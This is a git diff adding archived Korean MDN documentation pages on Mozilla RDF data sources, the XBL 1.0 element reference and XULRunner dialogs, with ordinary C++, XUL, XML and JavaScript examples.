더 자세히 살펴보면, 데이터 소스는 어떤 정보를 RDF 문장의 모임으로 + + 변환 + 하는 역할을 한다. 예를 들어, "파일 시스템 데이터 소스"라면 파일 시스템 정보를 다음과 같은 문장들로 변환할 것이다: "/tmp 는 디렉토리이다", "/tmp/foo 는 /tmp 안에 포함되어 있다". "IMAP 데이터 소스"라면 IMAP 프로토콜을 이용하여 당신의 메일함에 있는 데이터를 다음과 같은 문장으로 변환할 것이다: "126번 메시지의 제목은 '인터넷으로 쉽게 돈벌기'이다", "126번 메시지를 보낸 사람은 'spammer128@hotmail.com'이다". "주소록 데이터 소스"라면 데이터베이스 파일을 다음과 같은 문장으로 변환할 것이다: "spammer128@hotmail.com의 실제 이름은 'Billy Dumple'이다", "spammer128@hotmail.com은 '중요한 친구'이다".

+

한 데이터 소스 내에 존재하는 문장은 + + composite datasource + 를 사용해서 다른 데이터 소스에 있는 문장과 결합(combine)될 수 있다. IMAP 데이터 소스와 주소록 데이터 소스를 결합하면, 위의 예제에서 "126번 메시지"를 보낸 사람은 "중요한 친구"라는 것을 알 수 있다.

+

어휘 선택하기

+

+ + 어휘 + (vocabulary)는 데이터 모델 내에서 원소(자원이나 문자열)들간의 관계를 표현하기 위해 사용하는 속성들의 집합입니다. 제일 먼저 생각해야 할 것은 '기존의 어휘를 사용해야 할지? 아니면 새로운 어휘를 만들어야 할지?'에 대한 것입니다. + + 반드시 + 새로운 어휘를 만들어야 필요가 있는 경우가 아니라면 당연히 기존의 어휘를 쓰는 것이 좋습니다. 그러면 당신이 만든 데이터 소스를 손쉽게 다른 데이터 소스와 통합할 수 있게 됩니다.

+

이미 만들어진 다음과 같은 여러 종류의 어휘들이 있습니다.

+ +

데이터를 노드와 아크(arc)로 매핑하기

+

{{ mediawiki.external('write me!') }}

+

<tt>nsIRDFDataSource</tt> 인터페이스 구현하기

+

가장 먼저 해야할 일은 <tt>nsIRDFDataSource</tt> 인터페이스를 구현하는 일입니다. 이를 위한 두 가지 기본적인 방법이 있습니다:

+
    +
  1. +

    + + 내부 프록시(inner proxy)에 위임(delegate)하기 + . 예를 들면, <tt>nsIRDFDataSource</tt> 인터페이스를 구현한 일반적인 데이터 소스인 + + 메모리 상의 데이터 소스(in-memory datasource) + 에 위임할 수 있습니다.

    +

    일반적으로, 해당 저장 장치(즉, 데이터 파일)를 위한 구문 분석기(parser)를 제공해야 합니다. 구문 분석기는 데이터 파일을 메모리 상의 데이터 소스로 구성하기 위한 일련의 <tt>Assert()</tt> 문으로 변환합니다. <tt>Flush()</tt> 문이 호출되거나, 데이터 소스에 대한 마지막 참조가 해제되는 경우에는 메모리 상의 데이터 소스를 순환하여 그래프(데이터)를 원래의 파일 형식으로 다시 저장합니다(re-serialize). 아래의 예제를 살펴보기 바랍니다. RDF/XML 데이터 소스 혹은 북마크 데이터 소스.

    +

    기존의 데이터들을 "래핑"(wrapping)하기 위한 목적이라면 이 구현 방식을 선택하면 됩니다. 이 구현은 기존의 데이터 저장 공간이 다른 에이전트들에 의해 "동적으로"(on-the-fly) 변경되고 있다면 문제를 일으킬 수도 있습니다.

    +
  2. +
  3. +

    + + 메모리 상의 데이터 소스를 모으기(aggregate) + . 이 방법은 위임의 극단적인 경우로서, XPCOM + + 모음 + (aggregation)을 이용하여 <tt>nsIRDFDataSource</tt> 인터페이스를 구현하는 것입니다. 기술적인 자세한 사항은 메모리 상의 데이터 소스 모으기 문서를 참고하기 바랍니다.

    +

    이 방법은 선택한다면, <tt>nsIRDFDataSource</tt> 인터페이스의 메소드들을 선택적으로 구현할 수 없으며, 대신 + + 모든 + 메소드들은 메모리 상의 데이터 소스로 보내져야 합니다(forwarding). 이것은 당신이 가진 데이터 소스들이 "읽기 전용"인 경우에 유용하며 <tt>Assert()</tt> 등의 메소드를 이용한 데이터의 변경에 대한 걱정이 필요없게 됩니다.

    +
  4. +
  5. +

    + + 직접 인터페이스를 구현하기 + . 이 방법을 선택한다면, <tt>nsIRDFDataStore</tt> 인터페이스의 모든 메소드들을 "직접" 구현해야 합니다. 비록 이 방법에는 더 많은 작업이 요구되지만, 이것은 다른 외부 에이전트들에 의해 변경될 수 있는 "라이브"(live) 데이터 소스를 생성하기 위한 유일한 방법입니다.

    +

    파일 시스템 데이터 소스로컬 메일 데이터 소스 는 이 방법을 이용해 구현된 좋은 예제입니다.

    +

    만약 당신의 데이터 소스가 "라이브" 데이터 소스 - 새로운 메일이 도착하는 것과 같이 외부 에이전트에 의해 데이터가 변경될 수 있는 데이터 소스 - 라면 이 방법을 선택해야 합니다. 또한 데이터 소스가 (전체 파일 시스템 구조와 같이) 아주 크고 많은 데이터를 위해 모델링된 경우에도 이 방법을 선택해야 합니다.

    +
  6. +
+

{{ mediawiki.external('각 방법들에 필요한 더 많은 정보가 제공되어야 함') }}

+

RDF 커맨드

+

{{ mediawiki.external('커맨드의 종류와 커맨드를 구현한 이유 등을 설명') }}

+

데이터 소스 컴포넌트 등록하기

+

데이터 소스는 XPCOM 컴포넌트입니다. 따라서 다음과 같은 특징을 가집니다.

+
    +
  1. 데이터 소스 구현체를 구분(identify)하기 위한 XPCOM + + CLSID +
  2. +
  3. DLL 내에 코드가 존재하는 (CLSID에 대응하는) 구현 클래스. DLL은 XPCOM <tt>components</tt> 디렉토리 내에 존재해야 함.
  4. +
  5. 저장소 내에 존재(instantiate)하기 위해 XPCOM + + ProgID + 에 + + 등록 + 할 + + 팩토리 + (factory)
  6. +
+

컴포넌트를 위해 DLL을 구성하는 방법에 대한 것은 이 문서의 범위를 넘어가므로 생략합니다. 이에 대한 내용은 the RDF factory를 참조해 보기 바랍니다.

+

RDF 데이터 소스를 등록하는 것은 꽤 간단합니다. DLL의 <tt>NSRegisterSelf()</tt> 메소드에서 + + 컴포넌트 관리자 + 의 <tt>RegisterComponent()</tt> 메소드를 호출하기만 하면 됩니다.

+
extern "C" PR_IMPLEMENT(nsresult)
+NSRegisterSelf(nsISupports* aServiceManager, const char* aPath)
+{
+   nsresult rv;
+   ...
+   // compMgr 는 컴포넌트 관리자 객체를 참조하고 있다고 가정합니다.
+   rv = compMgr->RegisterComponent(kMyDataSourceCID,
+            "My Data Source",
+            NS_RDF_DATASOURCE_PROGID_PREFIX "my-datasource",
+            aPath, PR_TRUE, PR_TRUE);
+   ...
+}
+
+

<tt>kMyDataSourceCID</tt> 를 당신의 CLSID 로 대체하고 <tt>"My Data Source"</tt> 부분을 저장소에 표시될 데이터 소스에 대한 설명을 포함하는 문장으로 대체합니다. 마지막으로, <tt>"my-datasource"</tt> 를 당신의 데이터 소스에 알맞은 값으로 바꿉니. 이 값은 <tt>"rdf:"</tt> 라는 접두어가 붙은 경우 + + 데이터 소스 ID + 가 되고, <tt>nsIRDFService::GetDataSource()</tt> 메소드를 이용하여 RDF 서비스로부터 당신의 데이터 소스를 얻어오기 위해 사용됩니다. 예를 들어 위의 데이터 소스는 아래와 같은 방법으로 접근할 수 있습니다.

+
nsIRDFService* rdf;
+rv = nsServiceManager::GetService(kRDFServiceCID,
+          kIRDFServiceIID,
+          (nsISupports**) &rdf);
+
+if (NS_SUCCEEDED(rv)) {
+    nsIRDFDataSource* myDataSource;
+    rv = rdf->GetDataSource("rdf:my-datasource",
+                 &myDataSource);
+
+    if (NS_SUCCEEDED(rv)) {
+        // 이 부분에서 myDataSource 를 이용하여 원하는 작업을 수행합니다...
+        NS_RELEASE(myDataSource);
+    }
+    nsServiceManager::ReleaseService(kRDFServiceCID, rdf);
+}
+
+

RDF의 내용을 표시하기

+

지금까지 당신이 가지고 있는 정보를 데이터 소스로 표현하기 위해 험난한 길을 헤져 왔다면, 이제 그 정보를 프로그램 상에 + + 표시 + 하고 싶을 것입니다. XUL을 이용하면, 데이터 소스의 내용을 + + 트리 컨트롤 + 혹은 + + 메뉴 + 또는 + + 툴바 + 에 표시할 수 있습니다. 사실, XUL 템플릿을 이용하면 + + 어떠한 + 형태의 컨텐트 모델에도 RDF 의 내용을 표시할 수 있습니다.

+

다음의 XUL 코드는 데이터 소스가 설명하는 자원(<tt>http://foo.bar.com/</tt>)을 "루트"로 하는 트리 컨트롤을 생성하는 방법을 설명합니다.

+
<window
+  xmlns:html="http://www.w3.org/1999/xhtml"
+  xmlns:rdf="http://www.w3.org/TR/WD-rdf-syntax#"
+  xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul">
+
+  <tree datasources="rdf:my-datasource" ref="http://foo.bar.com/">
+    <template>
+      <treechildren>
+        <treeitem uri="...">
+          <treerow>
+            <treecell>
+              <text value="rdf:http://home.netscape.com/NC-rdf#Name" />
+            </treecell>
+            <treecell>
+              <text value="rdf:http://home.netscape.com/NC-rdf#URL" />
+            </treecell>
+          </treerow>
+        </treeitem>
+      </treechildren>
+    </template>
+
+    <treehead>
+      <treeitem>
+        <treecell>Name</treecell>
+        <treecell>URL</treecell>
+      </treeitem>
+    </treehead>
+
+    <!-- treechildren은 여기에 빌드되어 있습니다. -->
+  </tree>
+
+</window>
+
+

위에서 굵은 글씨로 표시된 중요한 "매직 속성"들은 다음과 같습니다:

+ +

RDF에서 어떻게 컨텐츠가 구성되는지에 대한 자세한 설명을 원한다면 XUL 템플릿 가이드 문서를 살펴보기 바랍니다.

+
+


+ 연락처: Chris Waterson (waterson@netscape.com)

+
+

원본 문서 정보

+ +
+

 

diff --git a/files/ko/archive/mozilla/xbl/index.html b/files/ko/archive/mozilla/xbl/index.html new file mode 100644 index 0000000000..1dcff4d284 --- /dev/null +++ b/files/ko/archive/mozilla/xbl/index.html @@ -0,0 +1,32 @@ +--- +title: XBL +slug: Archive/Mozilla/XBL +tags: + - XBL +translation_of: Archive/Mozilla/XBL +--- +

XML Binding Language(XBL, 종종 Extensible Bindings Language로도 불림)는 다른 문서의 요소에 덧붙일 수 있는 바인딩을 기술하는 언어입니다. 바인딩이 덧붙는 요소는 "바운드 요소"라 부르고 바인딩이 지정한 새 behavior를 얻습니다.

+

바인딩은 바운드 요소에 등록되는 이벤트 핸들러, 바운드 요소로부터 접근하게 되는 새 메소드와 특성(property)의 구현, 바운드 요소 아래에 끼워 넣는 익명(anonymous) 컨텐트를 포함할 수 있습니다.

+

대다수의 XUL 위젯이 적어도 일부분은 XBL를 써서 구현됩니다. XBL을 써서 기존 XUL, HTML, SVG, 그 밖의 다른 원시 요소(primitive)에서 재사용 가능한 위젯을 빌드할 수 있습니다.

+

명세

+

XBL 1.0은 XBL 1.0 레퍼런스에 명기되어 있습니다. 불행하게도, Mozilla의 실제 구현은 명세와 다르며 그 차이를 기술한 문서는 아직 알려지지 않았습니다. 레퍼런스가 이 차이를 기술하도록 갱신되기를 희망합니다.

+

XBL 1.0은 Mozilla만의 기술이고 W3C 표준이 아닙니다. 그러나, 적어도 두 개의 표준(sXBL과 XBL 2.0)이 작업 중에 있습니다.

+ + +

sXBL과 XBL2 사이의 차이는 Anne van Kesteren의 글에 나열되어 있습니다.

+

더 보기

+ + +

diff --git a/files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html new file mode 100644 index 0000000000..9f0eab90c9 --- /dev/null +++ b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/elements/index.html @@ -0,0 +1,387 @@ +--- +title: Elements +slug: Archive/Mozilla/XBL/XBL_1.0_Reference/Elements +translation_of: Archive/Mozilla/XBL/XBL_1.0_Reference/Elements +--- +

 

+

bindings

+

This section is tested and adjusted for the current Firefox implementation. Please edit only if an actual behavior differs from the described one. Please do not edit only on the basis of another XBL specification.

+
<!ELEMENT bindings ( binding* ) >
+
+Hierarchy:   root element
+May contain: <binding>
+
+

The bindings element is the root element of any XBL document. It should usually declare XBL as the default namespace (unless an XBL namespace prefix is used) and it may additionally declare other namespace prefixes used in your binding.

+

bindings contains zero or more binding elements as children. Each binding child element defines a unique binding that can be attached to elements in other documents.

+

An element can have only one binding attached (explicitly or inherited) at one moment. From several bindings only the last in the sequence will be used (like with any CSS rule).

+
HelloWorld example:
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html>
+<head>
+<title>Hello world!</title>
+<style type="text/css">
+p {
+ -moz-binding: url(hello.xml#default);
+}
+#p03 {
+ -moz-binding: url(hello.xml#hello2);
+}
+</style>
+</head>
+<body
+
+  <p>Default content</p>
+  <p>Default content</p>
+  <p id="p03">Default content</p>
+
+</body>
+</html>
+
+// hello.xml
+
+<?xml version="1.0"?>
+<bindings xmlns="http://www.mozilla.org/xbl"
+ xmlns:html="http://www.w3.org/1999/xhtml">
+  <binding id="default">
+    <content><html:b>Hello world! </html:b><children/></content>
+  </binding>
+  <binding id="hello2">
+    <content><html:b>Hello from my binding! </html:b><children/></content>
+  </binding>
+</bindings>
+
+

View this example

+

Next: <big>bindings > binding</big> element.

+

Notes

+ +
<bindings xmlns="http://www.mozilla.org/xbl"
+ xmlns:html = "http://www.w3.org/1999/xhtml"
+ xmlns:xul  = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+ xmlns:svg  = "http://www.w3.org/2000/svg"
+ xmlns:xlink= "http://www.w3.org/1999/xlink">
+
+

바인딩

+
<!ENTITY % binding-content "(resources?,content?,implementation?,handlers?)">
+<!ELEMENT binding %binding-content;>
+<!ATTLIST binding
+   id                     ID             #REQUIRED
+   extends                CDATA          #IMPLIED
+   display                CDATA          #IMPLIED
+   inheritstyle           true           #IMPLIED
+>
+
+

binding 요소는 단일 XBL 바인딩을 기술합니다. XBL 바인딩은 HTML/XML 요소에 + + anonymous content + , + + fields + , + + properties + , + + methods + , + + event handlers + 를 추가할 수 있습니다.

+

단일 XBL 바인딩은 스타일 시트나 스크립팅을 사용하여 요소에 붙일 수 있습니다 (<table>에 특정한 사항은 bug 83830를 참고하십시오).

+

CSS:

+
div {
+ -moz-binding: url(myBinding.xml#default);
+}
+
+

DOM:

+
elementReference.style.MozBinding = "url(myBinding.xml#default}";
+
+

위의 두 가지 경우 모두는 myBinding.xml에 포함된 id="default"를 가진 바인딩을 사용하고 있습니다.

+

Firefox 3부터는 바인딩을 인라인으로 삽입하기 위해 data: URL을 사용할 수 있습니다.

+
div {
+  -moz-binding: url(data:text/xml;charset=utf-8,%3C%3Fxml%20version%3D%221.0%22%3F%3E%0A%3Cbindings%20id%3D%22xbltestBindings%22%20xmlns%3D%22http%3A//www.mozilla.org/xbl%22%3E%0A%20%20%3Cbinding%20id%3D%22xbltest%22%3E%3Ccontent%3EPASS%3C/content%3E%3C/binding%3E%0A%3C/bindings%3E%0A);
+}
+
+

data: URL은 부분 식별자(fragment identifier)를 지원하지 않기 때문에 대신 삽입된 XML에서 발견한 첫 번째 바인딩을 사용합니다. 바인딩은 참조하지 않더라도 아이디가 있어야 한다는 점을 염두해 두십시오.

+

앞선 예제의 삽입된 XML은 다음과 같습니다.

+
<?xml version="1.0"?>
+<bindings id="xbltestBindings" xmlns="http://www.mozilla.org/xbl">
+  <binding id="xbltest"><content>PASS</content></binding>
+</bindings>
+
+

CSS 선언만이 바인딩을 임의의 요소 집합에 붙이는 쉬운 방법을 제공합니다. 이는 또한 스크립팅이 비할성화되어 있을 때 바인딩이 부분적으로 동작하게 만듭니다. 이 경우 모든 메소드와 핸들러는 차단되지만 익명의 내용과 스타일은 계속 사용됩니다. 그러므로 실행 중에 개별 요소에 바인딩을 추가할 필요가 없다면 항상 CSS 선언을 사용해야 합니다.

+

binding 요소는 resources 태그, content 태그, implementation 태그, handlers 태그를 포함할 수 있습니다.

+ +

 

+

content

+
<!ELEMENT content ANY>
+<!ATTLIST content
+   id               ID           #IMPLIED
+>
+
+

A binding can specify new content that is placed inside the bound element. Although you can see this content on screen as if it was directly in the file, this content is anonymous and is hidden from the normal DOM. To access anonymous nodes on an XBL bound element, you can use the getAnonymousElementByAttribute and getAnonymousNodes functions. The only XBL element that can appear inside the content tag is the children tag. Attributes on the <content> element in the binding are set on the bound element.

+ +

children

+
<!ELEMENT children EMPTY>
+<!ATTLIST children
+   id               ID                           #IMPLIED
+   includes         CDATA                        #IMPLIED
+>
+
+

Specifies the location where any child elements of the bound element are placed in the generated content.

+

Normally, if the element bound to has its own content, the anonymous content is not generated. However, with a children element, you can merge the content from the HTML/XML element and the XBL content.

+

If the children tag contains content itself, that content will become the default content. If the element the binding is attached to contains content, the default content will be ignored. If the element does not contain content, the default content will be added.

+ +

implementation

+
<!ENTITY % implementation-content "(method|property)*">
+<!ELEMENT implementation %implementation-content;>
+<!ATTLIST implementation
+   id               ID           #IMPLIED
+   name             CDATA        #IMPLIED
+   implements       CDATA        #IMPLIED
+>
+
+

The implementation element describes the set of methods and properties that are attached to the bound element. Once the binding is attached, these methods and properties can be invoked directly from the bound element.

+ +

constructor

+

The code inside the constructor is called when a binding has just been attached to an element. So full access to anonymous nodes generated by the binding is already possible. The constructor tag must be placed inside the implementation tag.

+ +
+ Note: Prior to Firefox 3, the constructor could be called at a time when reflow of the document layout was locked down, so that attempting to get layout information from within the constructor could return out of date information. In Firefox 3 and later, the constructor is called when reflow can take place, which results in up-to-date information being returned. See bug 398404 for details.
+

destructor

+

The code inside the destructor is called when a binding is being removed from an element. You can use this to unload resources to free memory. However the destructor is often not called when it should, see bug 230086. The destructor tag must be placed inside the implementation tag.

+ +

method

+
<!ENTITY % method-content "(parameter*,body?)">
+<!ELEMENT method %method-content;>
+<!ATTLIST method
+   id               ID           #IMPLIED
+   name             CDATA        #REQUIRED
+   type             CDATA        #IMPLIED
+>
+
+

The method element is used to describe a single method of a binding implementation.

+ +

+ + Example +

+
<method name="scrollTo">
+  <parameter name="index"/>
+  <body>
+    this.setAttribute("scrollpos", index);
+  </body>
+</method>
+
+

parameter

+
<!ELEMENT parameter EMPTY>
+<!ATTLIST parameter
+   id               ID           #IMPLIED
+   name             CDATA        #REQUIRED
+>
+
+

The parameter element is used inside a method element. It represents a single parameter of a method.

+ +

body

+
<!ELEMENT body CDATA>
+<!ATTLIST body
+   id               ID           #IMPLIED
+>
+
+

The body element represents the implementation of its corresponding method. Its contents are the script that is executed when the method is invoked.

+ +

field

+
<!ELEMENT field EMPTY>
+<!ATTLIST field
+   id               ID                  #IMPLIED
+   name             CDATA               #REQUIRED
+   readonly         (true|false)        #IMPLIED
+>
+
+

A field is similar to a property, except that it should not have a getter or setter. It is useful as a simple holder for a value. The field element must have content which is code that determines the initial value of the field. The field tag must be inside the implementation tag.

+ +
+ Note: In Firefox 3, fields are now evaluated the first time they're accessed instead of at binding attachment time. This shouldn't cause any problems in typical use cases, but there are cases in which this will impact the behavior of your code. See bug 372769 for details.
+

Here are some examples of cases in which the behavior of your code may change due to this change in Firefox 3:

+
    +
  1. If you have two fields, one named A and one named B, and field A sets .B, the value of .B will depend on whether or not .A has already been accessed.
  2. +
  3. If a proto is inserted into the proto chain after binding instantiation, doing so may affect field values (this wasn't the case in prior versions of Firefox).
  4. +
  5. At binding attachment time, <field name="parentNode">this.parentNode</field> is undefined instead of the value of parentNode.
  6. +
  7. A field no longer changes the value of a property set on the object itself (rather than a proto) before binding attachment.
  8. +
+

property

+
<!ENTITY % property-content "(getter?,setter?)">
+<!ELEMENT property %property-content;>
+<!ATTLIST property
+   id               ID                  #IMPLIED
+   name             CDATA               #REQUIRED
+   readonly         (true|false)        #IMPLIED
+   onget            CDATA               #IMPLIED
+   onset            CDATA               #IMPLIED
+>
+
+

The property element represents a single property of an implementation. A property consists of a pair of getter/setter functions that can be defined using onget/onset attributes or getter/setter elements underneath the property element. Like methods, once the binding is attached, the property can be obtained directly from the bound element. The property tag must be inside the implementation tag.

+ +

getter

+
<!ELEMENT getter PCDATA>
+<!ATTLIST getter
+   id               ID                  #IMPLIED
+>
+
+

The getter element contains script that gets executed when a specific property gets called. The getter tag must be inside the property tag.

+ +

setter

+
<!ELEMENT setter PCDATA>
+<!ATTLIST setter
+   id               ID                  #IMPLIED
+>
+
+

The setter element contains script that gets executed when a specific property is being set. The setter tag must be inside the property tag.

+ +

handlers

+
<!ENTITY % handlers-content "handler*">
+<!ELEMENT handlers %handlers-content;>
+<!ATTLIST handlers
+   id               ID                  #IMPLIED
+>
+
+

The handlers element contains event handlers that can be attached to elements within the bound document. These handlers are installed when the binding is attached and removed when the binding is detached. The handlers tag must be inside the binding tag.

+ +

handler

+
<!ENTITY % handler-content "PCDATA">
+<!ELEMENT handler %handler-content;>
+<!ATTLIST handler
+   id               ID                                  #IMPLIED
+   event            NMREF                               #REQUIRED
+   action           CDATA                               #IMPLIED
+   phase            (capturing|bubbling|target)         #IMPLIED
+   button           (1|2|3)                             #IMPLIED
+   modifiers        CDATA                               #IMPLIED
+   keycode          CDATA                               #IMPLIED
+   key              CDATA                               #IMPLIED
+   charcode         CDATA                               #IMPLIED
+   clickcount       (1|2|3)                             #IMPLIED
+   command          ID                                  #IMPLIED
+   preventdefault   false|true                          #IMPLIED
+>
+
+

The handler element describes a single event handler. This handler is attached to its target at the time the binding is attached and unhooked when the binding is detached from the bound element. The script inside the handler is executed when the event handler is matched. The handler tag must be inside the handlers tag.

+ +

resources

+
<!ENTITY % resources-content "(image?,stylesheet?)">
+<!ELEMENT resources %resources-content;>
+<!ATTLIST property
+   id               ID                  #IMPLIED
+>
+
+

Used for inclusion of image elements, to cache them for later use, and for inclusion of stylesheet elements. The resources tag must be used directly inside the binding tag.

+ +

stylesheet

+
<!ELEMENT stylesheet EMPTY>
+<!ATTLIST stylesheet
+   id               ID                  #IMPLIED
+   src              URI                 #REQUIRED
+>
+
+

The stylesheet element declares a style sheet used by the binding. The style rules in the style sheet will only be applied to the binding, not to other elements in the document. The stylesheet tag must be inside the resources tag.

+ +

image

+
<!ELEMENT image EMPTY>
+<!ATTLIST image
+   id               ID                  #IMPLIED
+   src              URI                 #REQUIRED
+>
+
+

Declares an image resource used by the binding. The image is loaded as soon as the binding is used. You can use this to preload a number of images for later use. The image tag must be inside the resources tag.

+ diff --git a/files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html new file mode 100644 index 0000000000..044d638e52 --- /dev/null +++ b/files/ko/archive/mozilla/xbl/xbl_1.0_reference/index.html @@ -0,0 +1,118 @@ +--- +title: XBL 1.0 Reference +slug: Archive/Mozilla/XBL/XBL_1.0_Reference +tags: + - XBL +translation_of: Archive/Mozilla/XBL/XBL_1.0_Reference +--- +

초록

+

This document describes Extensible Binding Language (XBL) 1.0 as implemented in Gecko browsers.

+

Extensible Binding Language is a XML-based markup language to implement reusable components ( + + bindings + ) that can be bound to elements in other documents. The element with a binding specified, called the + + bound element + , acquires the new behavior specified by the binding. Bindings can be bound to elements using Cascading Style Sheets (CSS) or DOM. One element can be be bound to several bindings at once.

+

Functionally bindings should be correlated with Behaviors and Viewlink but being implemented as one integrated XML solution.

+

Bindings can contain event handlers that are registered on the bound element, an implementation of new methods and properties that become accessible from the bound element, and anonymous content that is inserted around the bound element.

+
+

There are numerous adjustments in the current implementation in comparison of earlier XBL proposals, and not all of them are reflected yet in this document. The documentation process is still in progress: please keep it in your mind while using the provided information.

+
+

XBL 요소

+ +

Binding Attachment and Detachment

+ +

DOM Interfaces

+ +

Anonymous Content

+ +

Binding Implementations

+ +

Event Handlers

+

Example - Sticky Notes

+

Updated and adjusted for the current Firefox implementation.

+
+

This example is targeted to demonstrate the XBL usage rather than to be a practically useful application. For this reason it contains many comments and some blocks could be avoided in a more compact solution yet used here for demonstration purposes.

+
+ +

View this example

+


+ Download all files (.zip archive) need to ask to adjust the server - it gives "Access denied" for zip files (?)

+

References

+

Initial XBL 1.0 proposal submitted as a Note to W3C

+

XBL 2.0 Project

+
+

Original Document Information

+ +
diff --git a/files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html b/files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html new file mode 100644 index 0000000000..33b4f14f44 --- /dev/null +++ b/files/ko/archive/mozilla/xulrunner/dialogs_in_xulrunner/index.html @@ -0,0 +1,121 @@ +--- +title: Dialogs in XULRunner +slug: Archive/Mozilla/XULRunner/Dialogs_in_XULRunner +tags: + - XUL + - XULRunner +translation_of: Archive/Mozilla/XULRunner/Dialogs_in_XULRunner +--- +

+

« 이전

+

+

이전 기사에서는 창, 메뉴, 도구바를 만드는데 사용되는 간단한 XUL에 대해 알아봤습니다. 이번에는 사용자 정의 대화상자와 표준 운영체제(공통) 대화상자에 대해 알아보겠습니다. 대화상자는 데스크탑 응용 프로그램를 구성하는 기본 요소들입니다. 어떤 종류의 대화상자는 너무 자주 사용되므로 OS에서 기본적인 구현을 제공하기도 합니다. 파일 열기와 저장 대화상자가 대표적인 예입니다. 가능하면 응용 프로그램간의 사용자가 느끼는 일관된 체험(일관성)을 유지하기 위해 제공되는 "기본(native)" 대화상자를 재활용하는 것이 좋습니다.

+

사용자 정의 대화상자

+

XUL로 대화상자를 만드는 것은 윈도우를 만드는 것과 아주 유사합니다. 대화상자는 독립된 XUL 파일에 정의됩니다. XUL에서는 대화상자의 컨테이너로 동작하는 dialog 요소를 제공합니다. 대화상자 XUL 파일은 윈도우와 마찬가지로 DTD, CSS, JavaScript를 포함할 수 있습니다. 아래는 XUL 대화상자의 예제입니다.

+
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<dialog id="myDialog" title="My Dialog"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
+        onload="window.sizeToContent();"
+        buttons="accept,cancel"
+        buttonlabelaccept="Set Favorite"
+        buttonaccesskeyaccept="S"
+        ondialogaccept="return doSave();"
+        buttonlabelcancel="Cancel"
+        buttonaccesskeycancel="n"
+        ondialogcancel="return doCancel();">
+
+  <script>
+    function doSave(){
+     //doSomething()
+     return true;
+    }
+
+    function doCancel(){
+      return true;
+    }
+  </script>
+
+  <dialogheader title="My dialog" description="Example dialog"/>
+  <groupbox flex="1">
+    <caption label="Select favorite fruit"/>
+    <radiogroup>
+      <radio id="1" label="Oranges because they are fruity"/>
+      <radio id="2" selected="true" label="Strawberries because of color"/>
+      <radio id="3" label="Bananna because it pre packaged"/>
+    </radiogroup>
+  </groupbox>
+
+</dialog>
+
+

XUL window 요소는 대화상자를 여는데(open) 사용되는 window.openDialog()라는 특별한 메소드를 가지고 있습니다. 다음은 대화상자를 여는데 사용되는 코드입니다.

+
function openDialog() {
+  window.openDialog("chrome://basicapp/content/dialog.xul", "newdlg", "modal");
+}
+
+

Windows 200에서 위 코드로 열린 대화상자는 다음과 같으며, 다른 운영체제도 비슷한 모양세일 것입니다.

+

Image:XULDialogExample.png

+

dialog 요소에서 나의 눈을 사로잡은 첫번째는 버튼과 관련된 속성입니다. 개발자들이 좀 더 쉽게 접근하고 사용자들에게 일관성을 제공하기 위해 XUL은 핵심적인 대화상자 버튼("확인", "취소", "도움말" 등)들을 자동으로 만들고 배치해주는 메커니즘을 제공하고 있습니다.

+

개발자는 필요한 버튼들을 명시하고 각 버튼에 대한 제목과 단축키 그리고 버튼이 눌러졌을 때 호출될 JavaScript 함수를 지정하기만 하면 됩니다. XUL이 대화상자내에서 버튼에 대한 위치와 스타일을 알아서 처리해 줍니다. 이러한 방식은, 운영체제들마다 대화상자 내 버튼의 위치가 고유의 컨벤션을 가지고 있다는 점을 생각해 보면, 크로스 플랫폼(cross-platform) 응용 프로그램을 개발하는데 있어 아주 좋은 환경을 제공해 준다고 할 수 있습니다.

+

아래는 dialog에서 버튼과 관련된 속성들 중 일부 입니다. 도 참조해 보세요.

+
+
+ buttons
+
+ 대화상자에 표시할 버튼들의 쉼표로 분리된 목록(accept, cancel, help, extra1, and extra2).
+
+ buttonlabelaccept
+
+ 확인 버튼을 위한 라벨, 다른 버튼에도 비슷한 속성이 존재합니다.
+
+ buttonaccesskeyaccept
+
+ 확인 버튼에 사용되는 단축키, 다른 버튼에도 비슷한 속성이 존재합니다.
+
+ ondialogaccept
+
+ 확인 버튼이 눌러졌을때 실행될 JavaScript, 다른 버튼에도 비슷한 속성이 존재합니다.
+
+

XUL에는 다양한 종류의 입력 컨트롤들이 존재하며, 대화상자에도 사용할 수 있습니다. 이 후 기사에서는 현재 사용되고 있는, 그리고 앞으로 계획된 XUL 입력 컨트롤에 대해 좀 더 자세히 알아보려고 합니다. 제가 <dialogheader>를 사용하게 될지 확실하지 않지만, 이 하나의 요소만으로 간단하게 헤더를 만드는데 시간을 줄여줍니다.

+

공통 대화상자

+

가장 자주 사용되는 공통 대화상자는 파일 열기와 저장하기 입니다. 예를 들어 윈도우즈에서는 예전부터 내장된 파일 열기와 저장하기 대화상자를 제공하고 있고 Mac 또한 마찬가지 있습니다. 이러한 것들은 응용 프로그램 개발자들을 편하게 해 줄 뿐만 아니라 사용자들에게도 일관성 있는 인터페이스를 제공하여 사용하기 쉽게 해 줍니다. XUL에서도 filepicker(Mozilla에서는 파일 열기와 저장하기 대화상자를 이렇게 부릅니다)의 네이티브 구현을 지원하고 있습니다. 향후 릴리즈에서는 사용자가 원한다면 설정을 통해 XUL filepicker로 전환할 수 있는 기능을 제공할 것입니다. XUL filepicker는 XPCOM 컴포넌트로, 사용 전에 다음과 같이 초기화되어야 합니다.

+
function doFileOpen() {
+  /* See: http://developer.mozilla.org/en/docs/XUL_Tutorial:Open_and_Save_Dialogs */
+
+  var nsIFilePicker = Components.interfaces.nsIFilePicker;
+  var fp = Components.classes["@mozilla.org/filepicker;1"].createInstance(nsIFilePicker);
+
+  fp.init(window, "Open File", nsIFilePicker.modeOpen);
+  fp.appendFilters(nsIFilePicker.filterText | nsIFilePicker.filterAll);
+
+  var res = fp.show();
+  if (res == nsIFilePicker.returnOK) {
+    var thefile = fp.file;
+    alert(thefile.leafName);
+    // --- do something with the file here ---
+  }
+}
+
